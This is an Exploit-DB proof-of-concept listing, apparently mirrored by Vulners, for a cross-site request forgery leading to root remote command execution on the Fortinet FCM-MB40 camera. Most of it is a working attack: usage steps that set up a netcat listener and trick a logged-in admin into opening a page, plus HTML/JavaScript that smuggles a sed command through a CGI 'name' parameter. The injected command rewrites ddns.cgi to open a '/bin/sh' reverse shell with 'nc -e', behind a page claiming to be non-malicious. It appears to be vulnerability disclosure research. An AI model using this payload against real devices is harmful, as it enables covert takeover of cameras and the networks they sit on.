Fortinet FCM-MB40 - Cross-Site Request Forgery / Remote Command Execution

🗓️ 25 Jun 2019 00:00:00Reported by XORcatType

exploitdb🔗 www.exploit-db.com👁 385 Views

Fortinet FCM-MB40 Remote Command Execution via CSRF on Linu

# Exploit Title: FCM-MB40 Remote Command Execution as Root via CSRF
# Date: 2019-06-19
# Exploit Author: @XORcat
# Vendor Homepage: https://fortinet.com/
# Software Link: Customer Account Required
# Version: v1.2.0.0
# Tested on: Linux
# CVE : TBA

<html>
    <!-- FCM-MB40 CSRF to RCE as root, by Aaron Blair (@xorcat) 

Full details: https://xor.cat/2019/06/19/fortinet-forticam-vulns/

Follow the following steps to demonstrate this PoC:

1. Replace IP addresses in Javascript code to repr	esent your testing
   environment.
2. Launch a `netcat` listener on the attacker's host using `nc -nvlp
   1337`
3. Ensure the "admin" user's browser is logged in to the FCM-MB40.
   * Note: all modern browsers will cache Basic Authentication
     credentials (such as those used by the FCM-MB40) even if the
     FCM-MB40's administration page is closed.
4. Open the crafted HTML document using the "admin" user's
browser. 
   * Note: In an attack scenario, this step would be performed by
     implanting the code into a legitimate webpage that the "admin"
     user visits, or by tricking the "admin" user into opening a page
     which includes the code.
5. Note that the `netcat` listener established in step 2. has received
   a connection from the camera, and that it is presenting a `/bin/sh`
   session as root.
   * Note: type `id` in the `netcat` connection to verify this.

_Note: After this issue has been exploited, the state of the system will
have changed, and future exploitation attempts may require
modification._
-->
    <head>
        <script>
const sleep = (milliseconds) => {
    return new Promise(resolve => setTimeout(resolve, milliseconds))
};
var sed_url = 'http://192.168.1.20/cgi-bin/camctrl_save_profile.cgi?num=9&name=a%20-e%20s/^if.*/nc\\t192.168.1.10\\t1337\\t-e\\t\\/bin\\/sh\\nexit/%20../cgi-bin/ddns.cgi%20&save=profile';
var execute_url = 'http://192.168.1.20/cgi-bin/ddns.cgi';

var sed_img = document.createElement("img");
sed_img.src = sed_url;

sleep(400).then(() => {
    var execute_img = document.createElement("img");
    execute_img.src = execute_url;
});
        </script>
    </head>
    <body>
        <h1>Welcome to my non-malicious website.</h1>
    </body>
</html>

25 Jun 2019 00:00Current

7.4High risk

Vulners AI Score7.4